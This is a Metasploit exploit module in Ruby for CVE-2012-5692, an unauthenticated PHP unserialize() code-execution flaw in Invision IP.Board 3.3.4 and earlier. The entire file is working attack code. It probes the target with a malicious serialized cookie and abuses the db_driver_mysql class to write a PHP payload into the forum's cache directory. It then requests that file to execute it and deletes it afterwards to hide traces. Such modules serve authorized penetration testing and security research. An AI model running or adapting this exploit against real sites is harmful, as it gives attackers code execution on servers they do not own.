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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::PhpEXE
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Invision IP.Board unserialize() PHP Code Execution',
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        'Description' => %q{
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          This module exploits a php unserialize() vulnerability in Invision IP.Board
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          <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
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          code under the context of the webserver user.
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          The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
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          which is called with user controlled data from the cookie. The exploit abuses the
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          __destruct() method from the dbMain class to write arbitrary PHP code to a file on
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          the Invision IP.Board web directory.
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          The exploit has been tested successfully on Invision IP.Board 3.3.4.
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        },
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        'Author' => [
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          'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods
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          'juan vazquez', # Metasploit module
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          'sinn3r'        # PhpEXE tekniq & check() method
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2012-5692' ],
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          [ 'OSVDB', '86702' ],
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          [ 'BID', '56288' ],
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          [ 'EDB', '22398' ],
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          [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
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        ],
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        'Privileged' => false,
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        'Platform' => ['php'],
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        'Arch' => ARCH_PHP,
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        'Payload' => {
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          'Space' => 8000, # Apache's limit for GET
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          'DisableNops' => true
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        },
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        'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2012-10-25',
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_fs_delete_file
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
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      ]
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    )
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    self.needs_cleanup = true
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  end
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  def base
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    base = target_uri.path
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    base << '/' if base[-1, 1] != '/'
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    return base
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  end
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  def cookie_prefix
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    print_status("Checking for cookie prefix")
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    cookie_prefix = ""
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    res = send_request_cgi(
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      {
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        'uri' => "#{base}index.php",
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        'method' => 'GET'
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      }
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    )
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    if res and res.code == 200 and res.get_cookies =~ /(.+)session/
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      print_status("Cookie prefix #{$1} found")
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      cookie_prefix = $1
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    end
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    return cookie_prefix
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  end
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  def check
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    check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
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    res = send_request_cgi(
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      {
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        'uri' => "#{base}index.php",
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        'method' => 'GET',
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        'cookie' => "#{cookie_prefix}session_id=#{check_str}"
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      }
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    )
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    if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
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      return Exploit::CheckCode::Vulnerable
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    elsif res and res.code == 200
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      return Exploit::CheckCode::Safe
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    else
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      return Exploit::CheckCode::Unknown
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    end
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  end
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  def on_new_session(client)
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    if client.type == "meterpreter"
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      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
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      begin
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        print_warning("Deleting #{@upload_php}")
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        client.fs.file.rm(@upload_php)
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        print_good("#{@upload_php} removed to stay ninja")
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      rescue
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        print_error("Unable to remove #{f}")
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      end
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    end
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  end
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  def exploit
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    @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
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    # get_write_exec_payload uses a function, which limits our ability to support
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    # Linux payloads, because that requires a space:
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    #   function my_cmd
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    # becomes:
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    #   functionmy_cmd #Causes parsing error
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    # We'll have to address that in the mixin, and then come back to this module
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    # again later.
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    php_payload = get_write_exec_payload(:unlink_self => true)
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    php_payload = php_payload.gsub(/^\<\?php/, '<?')
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    php_payload = php_payload.gsub(/ /, '')
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    db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"
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    print_status("Exploiting the unserialize() to upload PHP code")
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    res = send_request_cgi(
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      {
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        'uri' => "#{base}index.php?#{php_payload}",
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        'method' => 'GET',
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        'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
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      }
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    )
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    if not res or res.code != 200
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      print_error("Exploit failed: #{res.code}")
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      return
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    end
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    print_status("Executing the payload #{@upload_php}")
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    res = send_request_raw({ 'uri' => "#{base}cache/#{@upload_php}" })
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    if res
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      print_error("Payload execution failed: #{res.code}")
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      return
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    end
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  end
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end
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